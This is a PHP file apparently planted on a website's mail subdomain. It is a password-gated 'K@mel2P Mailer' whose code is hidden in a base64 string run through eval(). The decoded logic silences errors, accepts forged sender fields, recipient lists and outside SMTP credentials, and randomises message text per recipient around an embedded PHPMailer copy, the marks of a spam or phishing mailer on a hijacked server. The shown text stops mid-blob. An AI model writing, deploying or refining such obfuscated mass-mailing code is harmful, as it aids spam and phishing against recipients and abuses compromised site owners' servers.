File: /home/dailygoldindex/email.dailygoldindex.com/KAMEL2PMAILER.php
<?php
/**
 * K@mel2P  Mailer
 * @version : 1.3.3.7
**/
$password = "2P"; // Password
eval (base64_decode("c2Vzc2lvbl9zdGFydCgpOwppbmlfc2V0KCAnZGlzcGxheV9lcnJvcnMnLCAwICk7CmVycm9yX3JlcG9ydGluZyggMCApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbmluamF4Wyd2ZXJzaW9uJ109IjEuMy4zLjciOwokbmluamF4Wyd3ZWJzaXRlJ109ImthbWVsMlAuQ0MiOwoKCiRzZXNzaW9uY29kZSA9IG1kNShfX0ZJTEVfXyk7CmlmKCFlbXB0eSgkcGFzc3dvcmQpIGFuZCAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSAhPSAkcGFzc3dvcmQpewogICAgIyBfUkVRVUVTVCBtZWFuIF9QT1NUIG9yIF9HRVQgCiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNzJ10pIGFuZCAkX1JFUVVFU1RbJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsKICAgICAgICAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSA9ICRwYXNzd29yZDsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHByaW50ICI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDogPGlucHV0IHR5cGU9J3Bhc3N3b3JkJyBuYW1lPSdwYXNzJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iOwogICAgICAgIGV4aXQ7ICAgICAgICAKICAgIH0KfQovLyRSYW5kb21NYWlsID0gc3Vic3RyKHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonLDUwKSksMjAsMTApOyAKLy8kUmFuZG9tTWFpbDIgPSBzdWJzdHIoc3RyX3NodWZmbGUoc3RyX3JlcGVhdCgnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejEyMzQ1Njc4OTAnLDEwKSksMCwxMCk7IAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgJHNlbmRlckVtYWlsPW5pbmpheFRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPW5pbmpheFRyaW0oJF9QT1NUWydzZW5kZXJOYW1lJ10pOwogICAgJHJlcGx5VG89bmluamF4VHJpbSgkX1BPU1RbJ3JlcGx5VG8nXSk7CiAgICAkc3ViamVjdD1uaW5qYXhUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bmluamF4VHJpbSgkX1BPU1RbJ2VtYWlsTGlzdCddKTsKICAgICRtZXNzYWdlVHlwZT1uaW5qYXhUcmltKCRfUE9TVFsnbWVzc2FnZVR5cGUnXSk7CiAgICAkbWVzc2FnZUxldHRlcj1uaW5qYXhUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsgICAgCiAgICAkbWVzc2FnZUxldHRlciA9IHVybGVuY29kZSgkbWVzc2FnZUxldHRlcik7CiAgICAvLyRtZXNzYWdlTGV0dGVyID0gc3RyX3JlcGxhY2UoIiU1QyUyMiIsICIlMjIiLCAkbWVzc2FnZUxldHRlcik7CiAgICAkbWVzc2FnZUxldHRlciA9IHVybGRlY29kZSgkbWVzc2FnZUxldHRlcik7CiAgICAkbWVzc2FnZUxldHRlciA9IHN0cmlwc2xhc2hlcygkbWVzc2FnZUxldHRlcik7CiAgICAkc3ViamVjdCA9IHN0cmlwc2xhc2hlcygkc3ViamVjdCk7CiAgICAkZW5jb2RlID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnZW5jb2RlJ10pOwoKICAgICRzaG9zdCA9ICRfUE9TVFsnc2hvc3QnXTsKICAgICRzdXNlciA9ICRfUE9TVFsnc3VzZXInXTsKICAgICRzcGFzcyA9ICRfUE9TVFsnc3Bhc3MnXTsKICAgICRzcG9ydCA9ICRfUE9TVFsnc3BvcnQnXTsKICAgICRzc3NsID0gJF9QT1NUWydzc3NsJ107CiAgICAKCn0KaWYoJG1lc3NhZ2VUeXBlPT0yKXsKICAgICRwbGFpbj0iY2hlY2tlZCI7Cn0KZWxzZSB7CiAgICAkaHRtbD0iY2hlY2tlZCI7Cn0KCmZ1bmN0aW9uIG5pbmpheENsZWFyKCR0ZXh0LCRlbWFpbCl7CiAgICAkZW1haWx1c2VyID0gcHJlZ19yZXBsYWNlKCcvKFteQF0qKS4qLycsICckMScsICRlbWFpbCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXRpbWUtXSIsIGRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLWVtYWlsLV0iLCAkZW1haWwsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWx1c2VyLV0iLCAkZW1haWx1c2VyLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbWxldHRlcnMtXSIsIHN1YnN0cihzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jyw1MCkpLDIwLDEwKSwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21zdHJpbmctXSIsICBzdWJzdHIoc3RyX3NodWZmbGUoc3RyX3JlcGVhdCgnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejEyMzQ1Njc4OTAnLDEwKSksMCwxMCkgLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbW51bWJlci1dIiwgcmFuZFN0cmluZygnMDEyMzQ1Njc4OScpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbW1kNS1dIiwgbWQ1KHJhbmRTdHJpbmcoJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OScpKSwgJHRleHQpOwogICAgcmV0dXJuICR0ZXh0OwogICAgCn0KZnVuY3Rpb24gbmluamF4VHJpbSgkc3RyaW5nKXsKcmV0dXJuIHN0cmlwc2xhc2hlcyhsdHJpbShydHJpbSgkc3RyaW5nKSkpOwp9CmZ1bmN0aW9uIHJhbmRTdHJpbmcoJGNvbnNvbmFudHMpIHsKICAgICRsZW5ndGg9cmFuZCgxMiwyNSk7CiAgICAkcGFzc3dvcmQgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsKICAgICAgICAgICAgJHBhc3N3b3JkIC49ICRjb25zb25hbnRzWyhyYW5kKCkgJSBzdHJsZW4oJGNvbnNvbmFudHMpKV07CiAgICB9CiAgICByZXR1cm4gJHBhc3N3b3JkOwp9CmZ1bmN0aW9uIG5pbmpheE1haWxDaGVjaygkZW1haWwpewogCiAgIGlmIChmaWx0ZXJfdmFyKCRlbWFpbCwgRklMVEVSX1ZBTElEQVRFX0VNQUlMKSkgewogICAgJG1haWxQYXJ0cyA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwogICAgIAogICAgaWYoY2hlY2tkbnNycihhcnJheV9wb3AoJG1haWxQYXJ0cyksICdNWCcpKXsgcmV0dXJuIHRydWU7fQogICAgICAgIGVsc2V7cmV0dXJuIGZhbHNlO30KICAgfQogICBlbHNle3JldHVybiBmYWxzZTt9ICAgIAp9CgpjbGFzcyBQSFBNYWlsZXJ7Y29uc3QgQ0hBUlNFVF9JU084ODU5MT0naXNvLTg4NTktMSc7Y29uc3QgQ0hBUlNFVF9VVEY4PSd1dGYtOCc7Y29uc3QgQ09OVEVOVF9UWVBFX1BMQUlOVEVYVD0ndGV4dC9wbGFpbic7Y29uc3QgQ09OVEVOVF9UWVBFX1RFWFRfQ0FMRU5EQVI9J3RleHQvY2FsZW5kYXInO2NvbnN0IENPTlRFTlRfVFlQRV9URVhUX0hUTUw9J3RleHQvaHRtbCc7Y29uc3QgQ09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRT0nbXVsdGlwYXJ0L2FsdGVybmF0aXZlJztjb25zdCBDT05URU5UX1RZUEVfTVVMVElQQVJUX01JWEVEPSdtdWx0aXBhcnQvbWl4ZWQnO2NvbnN0IENPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRD0nbXVsdGlwYXJ0L3JlbGF0ZWQnO2NvbnN0IEVOQ09ESU5HXzdCSVQ9JzdiaXQnO2NvbnN0IEVOQ09ESU5HXzhCSVQ9JzhiaXQnO2NvbnN0IEVOQ09ESU5HX0JBU0U2ND0nYmFzZTY0Jztjb25zdCBFTkNPRElOR19CSU5BUlk9J2JpbmFyeSc7Y29uc3QgRU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRT0ncXVvdGVkLXByaW50YWJsZSc7cHVibGljICRQcmlvcml0eTtwdWJsaWMgJENoYXJTZXQ9c2VsZjo6Q0hBUlNFVF9JU084ODU5MTtwdWJsaWMgJENvbnRlbnRUeXBlPXNlbGY6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQ7cHVibGljICRFbmNvZGluZz1zZWxmOjpFTkNPRElOR184QklUO3B1YmxpYyAkRXJyb3JJbmZvPScnO3B1YmxpYyAkRnJvbT0ncm9vdEBsb2NhbGhvc3QnO3B1YmxpYyAkRnJvbU5hbWU9J1Jvb3QgVXNlcic7cHVibGljICRTZW5kZXI9Jyc7cHVibGljICRTdWJqZWN0PScnO3B1YmxpYyAkQm9keT0nJztwdWJsaWMgJEFsdEJvZHk9Jyc7cHVibGljICRJY2FsPScnO3Byb3RlY3RlZCAkTUlNRUJvZHk9Jyc7cHJvdGVjdGVkICRNSU1FSGVhZGVyPScnO3Byb3RlY3RlZCAkbWFpbEhlYWRlcj0nJztwdWJsaWMgJFdvcmRXcmFwPTA7cHVibGljICRNYWlsZXI9J21haWwnO3B1YmxpYyAkU2VuZG1haWw9Jy91c3Ivc2Jpbi9zZW5kbWFpbCc7cHVibGljICRVc2VTZW5kbWFpbE9wdGlvbnM9dHJ1ZTtwdWJsaWMgJENvbmZpcm1SZWFkaW5nVG89Jyc7cHVibGljICRIb3N0bmFtZT0nJztwdWJsaWMgJE1lc3NhZ2VJRD0nJztwdWJsaWMgJE1lc3NhZ2VEYXRlPScnO3B1YmxpYyAkSG9zdD0nbG9jYWxob3N0JztwdWJsaWMgJFBvcnQ9MjU7cHVibGljICRIZWxvPScnO3B1YmxpYyAkU01UUFNlY3VyZT0nJztwdWJsaWMgJFNNVFBBdXRvVExTPXRydWU7cHVibGljICRTTVRQQXV0aD1mYWxzZTtwdWJsaWMgJFNNVFBPcHRpb25zPVtdO3B1YmxpYyAkVXNlcm5hbWU9Jyc7cHVibGljICRQYXNzd29yZD0nJztwdWJsaWMgJEF1dGhUeXBlPScnO3Byb3RlY3RlZCAkb2F1dGg7cHVibGljICRUaW1lb3V0PTMwMDtwdWJsaWMgJGRzbj0nJztwdWJsaWMgJFNNVFBEZWJ1Zz0wO3B1YmxpYyAkRGVidWdvdXRwdXQ9J2VjaG8nO3B1YmxpYyAkU01UUEtlZXBBbGl2ZT1mYWxzZTtwdWJsaWMgJFNpbmdsZVRvPWZhbHNlO3Byb3RlY3RlZCAkU2luZ2xlVG9BcnJheT1bXTtwdWJsaWMgJGRvX3ZlcnA9ZmFsc2U7cHVibGljICRBbGxvd0VtcHR5PWZhbHNlO3B1YmxpYyAkREtJTV9zZWxlY3Rvcj0nJztwdWJsaWMgJERLSU1faWRlbnRpdHk9Jyc7cHVibGljICRES0lNX3Bhc3NwaHJhc2U9Jyc7cHVibGljICRES0lNX2RvbWFpbj0nJztwdWJsaWMgJERLSU1fY29weUhlYWRlckZpZWxkcz10cnVlO3B1YmxpYyAkREtJTV9leHRyYUhlYWRlcnM9W107cHVibGljICRES0lNX3ByaXZhdGU9Jyc7cHVibGljICRES0lNX3ByaXZhdGVfc3RyaW5nPScnO3B1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uPScnO3B1YmxpYyAkWE1haWxlcj0nJztwdWJsaWMgc3RhdGljICR2YWxpZGF0b3I9J3BocCc7cHJvdGVjdGVkICRzbXRwO3Byb3RlY3RlZCAkdG89W107cHJvdGVjdGVkICRjYz1bXTtwcm90ZWN0ZWQgJGJjYz1bXTtwcm90ZWN0ZWQgJFJlcGx5VG89W107cHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cz1bXTtwcm90ZWN0ZWQgJFJlY2lwaWVudHNRdWV1ZT1bXTtwcm90ZWN0ZWQgJFJlcGx5VG9RdWV1ZT1bXTtwcm90ZWN0ZWQgJGF0dGFjaG1lbnQ9W107cHJvdGVjdGVkICRDdXN0b21IZWFkZXI9W107cHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEPScnO3Byb3RlY3RlZCAkbWVzc2FnZV90eXBlPScnO3Byb3RlY3RlZCAkYm91bmRhcnk9W107cHJvdGVjdGVkICRsYW5ndWFnZT1bXTtwcm90ZWN0ZWQgJGVycm9yX2NvdW50PTA7cHJvdGVjdGVkICRzaWduX2NlcnRfZmlsZT0nJztwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGU9Jyc7cHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZT0nJztwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3M9Jyc7cHJvdGVjdGVkICRleGNlcHRpb25zPWZhbHNlO3Byb3RlY3RlZCAkdW5pcXVlaWQ9Jyc7Y29uc3QgVkVSU0lPTj0nMS4zLjMuNyc7Y29uc3QgU1RPUF9NRVNTQUdFPTA7Y29uc3QgU1RPUF9DT05USU5VRT0xO2NvbnN0IFNUT1BfQ1JJVElDQUw9Mjtwcm90ZWN0ZWQgc3RhdGljICRMRT0iXHJcbiI7Y29uc3QgTUFYX0xJTkVfTEVOR1RIPTk5ODtjb25zdCBTVERfTElORV9MRU5HVEg9NzY7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zPW51bGwpe2lmKG51bGwhPT0kZXhjZXB0aW9ucyl7JHRoaXMtPmV4Y2VwdGlvbnM9KGJvb2wpICRleGNlcHRpb25zO30kdGhpcy0+RGVidWdvdXRwdXQ9KHN0cnBvcyhQSFBfU0FQSSwnY2xpJykhPT1mYWxzZT8nZWNobyc6J2h0bWwnKTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskdGhpcy0+c210cENsb3NlKCk7fXByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywkc3ViamVjdCwkYm9keSwkaGVhZGVyLCRwYXJhbXMpe2lmKGluaV9nZXQoJ21ic3RyaW5nLmZ1bmNfb3ZlcmxvYWQnKSYxKXskc3ViamVjdD0kdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KTt9ZWxzZXskc3ViamVjdD0kdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpKTt9aWYoISR0aGlzLT5Vc2VTZW5kbWFpbE9wdGlvbnMgb3IgbnVsbD09PSRwYXJhbXMpeyRyZXN1bHQ9QG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXIpO31lbHNleyRyZXN1bHQ9QG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXIsJHBhcmFtcyk7fXJldHVybiAkcmVzdWx0O31wcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIpe2lmKCR0aGlzLT5TTVRQRGVidWcgPD0gMCl7cmV0dXJuO31pZigkdGhpcy0+RGVidWdvdXRwdXQgaW5zdGFuY2VvZiBcUHNyXExvZ1xMb2dnZXJJbnRlcmZhY2UpeyR0aGlzLT5EZWJ1Z291dHB1dC0+ZGVidWcoJHN0cik7cmV0dXJuO31pZighaW5fYXJyYXkoJHRoaXMtPkRlYnVnb3V0cHV0LFsnZXJyb3JfbG9nJywnaHRtbCcsJ2VjaG8nXSlhbmQgaXNfY2FsbGFibGUoJHRoaXMtPkRlYnVnb3V0cHV0KSl7Y2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCRzdHIsJHRoaXMtPlNNVFBEZWJ1Zyk7cmV0dXJuO31zd2l0Y2goJHRoaXMtPkRlYnVnb3V0cHV0KXtjYXNlICdlcnJvcl9sb2cnOmVycm9yX2xvZygkc3RyKTticmVhaztjYXNlICdodG1sJzplY2hvIGh0bWxlbnRpdGllcyhwcmVnX3JlcGxhY2UoJy9bXHJcbl0rLycsJycsJHN0ciksRU5UX1FVT1RFUywnVVRGLTgnKSwiPGJyPlxuIjticmVhaztjYXNlICdlY2hvJzpkZWZhdWx0OiRzdHI9cHJlZ19yZXBsYWNlKCcvXHJcbnxcci9tcycsIlxuIiwkc3RyKTtlY2hvIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSwiXHQiLHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwiXG4gICAgICAgICAgICAgICAgICAgXHQgICAgICAgICAgICAgICAgICAiLHRyaW0oJHN0cikpKSwiXG4iO319cHVibGljIGZ1bmN0aW9uIGlzSFRNTCgkaXNIdG1sPXRydWUpe2lmKCRpc0h0bWwpeyR0aGlzLT5Db250ZW50VHlwZT1zdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUw7fWVsc2V7JHRoaXMtPkNvbnRlbnRUeXBlPXN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVDt9fXB1YmxpYyBmdW5jdGlvbiBpc1NNVFAoKXskdGhpcy0+TWFpbGVyPSdzbXRwJzt9cHVibGljIGZ1bmN0aW9uIGlzTWFpbCgpeyR0aGlzLT5NYWlsZXI9J21haWwnO31wdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpeyRpbmlfc2VuZG1haWxfcGF0aD1pbmlfZ2V0KCdzZW5kbWFpbF9wYXRoJyk7aWYoZmFsc2U9PT1zdHJpcG9zKCRpbmlfc2VuZG1haWxfcGF0aCwnc2VuZG1haWwnKSl7JHRoaXMtPlNlbmRtYWlsPScvdXNyL3NiaW4vc2VuZG1haWwnO31lbHNleyR0aGlzLT5TZW5kbWFpbD0kaW5pX3NlbmRtYWlsX3BhdGg7fSR0aGlzLT5NYWlsZXI9J3NlbmRtYWlsJzt9cHVibGljIGZ1bmN0aW9uIGlzUW1haWwoKXskaW5pX3NlbmRtYWlsX3BhdGg9aW5pX2dldCgnc2VuZG1haWxfcGF0aCcpO2lmKGZhbHNlPT09c3RyaXBvcygkaW5pX3NlbmRtYWlsX3BhdGgsJ3FtYWlsJykpeyR0aGlzLT5TZW5kbWFpbD0nL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0Jzt9ZWxzZXskdGhpcy0+U2VuZG1haWw9JGluaV9zZW5kbWFpbF9wYXRoO30kdGhpcy0+TWFpbGVyPSdxbWFpbCc7fXB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCRuYW1lPScnKXtyZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygndG8nLCRhZGRyZXNzLCRuYW1lKTt9cHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCRuYW1lPScnKXtyZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnY2MnLCRhZGRyZXNzLCRuYW1lKTt9cHVibGljIGZ1bmN0aW9uIGFkZEJDQygkYWRkcmVzcywkbmFtZT0nJyl7cmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsJGFkZHJlc3MsJG5hbWUpO31wdWJsaWMgZnVuY3Rpb24gYWRkUmVwbHlUbygkYWRkcmVzcywkbmFtZT0nJyl7cmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ1JlcGx5LVRvJywkYWRkcmVzcywkbmFtZSk7fXByb3RlY3RlZCBmdW5jdGlvbiBhZGRPckVucXVldWVBbkFkZHJlc3MoJGtpbmQsJGFkZHJlc3MsJG5hbWUpeyRhZGRyZXNzPXRyaW0oJGFkZHJlc3MpOyRuYW1lPXRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCcnLCRuYW1lKSk7JHBvcz1zdHJycG9zKCRhZGRyZXNzLCdAJyk7aWYoZmFsc2U9PT0kcG9zKXskZXJyb3JfbWVzc2FnZT1zcHJpbnRmKCclcyAoJXMpOiAlcycsJHRoaXMtPmxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLCRraW5kLCRhZGRyZXNzKTskdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpO2lmKCR0aGlzLT5leGNlcHRpb25zKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTt9cmV0dXJuIGZhbHNlO30kcGFyYW1zPVska2luZCwkYWRkcmVzcywkbmFtZV07aWYoJHRoaXMtPmhhczhiaXRDaGFycyhzdWJzdHIoJGFkZHJlc3MsKyskcG9zKSlhbmQgc3RhdGljOjppZG5TdXBwb3J0ZWQoKSl7aWYoJ1JlcGx5LVRvJyE9JGtpbmQpe2lmKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCR0aGlzLT5SZWNpcGllbnRzUXVldWUpKXskdGhpcy0+UmVjaXBpZW50c1F1ZXVlWyRhZGRyZXNzXT0kcGFyYW1zO3JldHVybiB0cnVlO319ZWxzZXtpZighYXJyYXlfa2V5X2V4aXN0cygkYWRkcmVzcywkdGhpcy0+UmVwbHlUb1F1ZXVlKSl7JHRoaXMtPlJlcGx5VG9RdWV1ZVskYWRkcmVzc109JHBhcmFtcztyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9cmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KFskdGhpcywnYWRkQW5BZGRyZXNzJ10sJHBhcmFtcyk7fXByb3RlY3RlZCBmdW5jdGlvbiBhZGRBbkFkZHJlc3MoJGtpbmQsJGFkZHJlc3MsJG5hbWU9Jycpe2lmKCFpbl9hcnJheSgka2luZCxbJ3RvJywnY2MnLCdiY2MnLCdSZXBseS1UbyddKSl7JGVycm9yX21lc3NhZ2U9c3ByaW50ZignJXM6ICVzJywkdGhpcy0+bGFuZygnSW52YWxpZCByZWNpcGllbnQga2luZCcpLCRraW5kKTskdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpO2lmKCR0aGlzLT5leGNlcHRpb25zKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTt9cmV0dXJuIGZhbHNlO31pZighc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MpKXskZXJyb3JfbWVzc2FnZT1zcHJpbnRmKCclcyAoJXMpOiAlcycsJHRoaXMtPmxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLCRraW5kLCRhZGRyZXNzKTskdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpO2lmKCR0aGlzLT5leGNlcHRpb25zKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTt9cmV0dXJuIGZhbHNlO31pZignUmVwbHktVG8nIT0ka2luZCl7aWYoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksJHRoaXMtPmFsbF9yZWNpcGllbnRzKSl7JHRoaXMtPnska2luZH1bXT1bJGFkZHJlc3MsJG5hbWVdOyR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV09dHJ1ZTtyZXR1cm4gdHJ1ZTt9fWVsc2V7aWYoIWFycmF5X2tleV9leGlzdHMoc3RydG9sb3dlcigkYWRkcmVzcyksJHRoaXMtPlJlcGx5VG8pKXskdGhpcy0+UmVwbHlUb1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV09WyRhZGRyZXNzLCRuYW1lXTtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9cHVibGljIHN0YXRpYyBmdW5jdGlvbiBwYXJzZUFkZHJlc3NlcygkYWRkcnN0ciwkdXNlaW1hcD10cnVlKXskYWRkcmVzc2VzPVtdO2lmKCR1c2VpbWFwIGFuZCBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfcmZjODIyX3BhcnNlX2Fkcmxpc3QnKSl7JGxpc3Q9aW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwnJyk7Zm9yZWFjaCgkbGlzdCBhcyAkYWRkcmVzcyl7aWYoJy5TWU5UQVgtRVJST1IuJyE9JGFkZHJlc3MtPmhvc3Qpe2lmKHN0YXRpYzo6dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzLT5tYWlsYm94LidAJy4kYWRkcmVzcy0+aG9zdCkpeyRhZGRyZXNzZXNbXT1bJ25hbWUnPT4ocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCdwZXJzb25hbCcpPyRhZGRyZXNzLT5wZXJzb25hbDonJyksJ2FkZHJlc3MnPT4kYWRkcmVzcy0+bWFpbGJveC4nQCcuJGFkZHJlc3MtPmhvc3QsXTt9fX19ZWxzZXskbGlzdD1leHBsb2RlKCcsJywkYWRkcnN0cik7Zm9yZWFjaCgkbGlzdCBhcyAkYWRkcmVzcyl7JGFkZHJlc3M9dHJpbSgkYWRkcmVzcyk7aWYoc3RycG9zKCRhZGRyZXNzLCc8Jyk9PT1mYWxzZSl7aWYoc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MpKXskYWRkcmVzc2VzW109WyduYW1lJz0+JycsJ2FkZHJlc3MnPT4kYWRkcmVzcyxdO319ZWxzZXtsaXN0KCRuYW1lLCRlbWFpbCk9ZXhwbG9kZSgnPCcsJGFkZHJlc3MpOyRlbWFpbD10cmltKHN0cl9yZXBsYWNlKCc+JywnJywkZW1haWwpKTtpZihzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkZW1haWwpKXskYWRkcmVzc2VzW109WyduYW1lJz0+dHJpbShzdHJfcmVwbGFjZShbJyInLCInIl0sJycsJG5hbWUpKSwnYWRkcmVzcyc9PiRlbWFpbCxdO319fX1yZXR1cm4gJGFkZHJlc3Nlczt9cHVibGljIGZ1bmN0aW9uIHNldEZyb20oJGFkZHJlc3MsJG5hbWU9JycsJGF1dG89dHJ1ZSl7JGFkZHJlc3M9dHJpbSgkYWRkcmVzcyk7JG5hbWU9dHJpbShwcmVnX3JlcGxhY2UoJy9bXHJcbl0rLycsJycsJG5hbWUpKTskcG9zPXN0cnJwb3MoJGFkZHJlc3MsJ0AnKTtpZihmYWxzZT09PSRwb3Mgb3IoISR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCsrJHBvcykpb3Ihc3RhdGljOjppZG5TdXBwb3J0ZWQoKSlhbmQhc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MpKXskZXJyb3JfbWVzc2FnZT1zcHJpbnRmKCclcyAoRnJvbSk6ICVzJywkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJyksJGFkZHJlc3MpOyR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7JHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7aWYoJHRoaXMtPmV4Y2VwdGlvbnMpe3Rocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpO31yZXR1cm4gZmFsc2U7fSR0aGlzLT5Gcm9tPSRhZGRyZXNzOyR0aGlzLT5Gcm9tTmFtZT0kbmFtZTtpZigkYXV0byl7aWYoZW1wdHkoJHRoaXMtPlNlbmRlcikpeyR0aGlzLT5TZW5kZXI9JGFkZHJlc3M7fX1yZXR1cm4gdHJ1ZTt9cHVibGljIGZ1bmN0aW9uIGdldExhc3RNZXNzYWdlSUQoKXtyZXR1cm4gJHRoaXMtPmxhc3RNZXNzYWdlSUQ7fXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gdmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzLCRwYXR0ZXJuc2VsZWN0PW51bGwpe2lmKG51bGw9PT0kcGF0dGVybnNlbGVjdCl7JHBhdHRlcm5zZWxlY3Q9c3RhdGljOjokdmFsaWRhdG9yO31pZihpc19jYWxsYWJsZSgkcGF0dGVybnNlbGVjdCkpe3JldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwkYWRkcmVzcyk7fWlmKHN0cnBvcygkYWRkcmVzcywiXG4iKSE9PWZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywiXHIiKSE9PWZhbHNlKXtyZXR1cm4g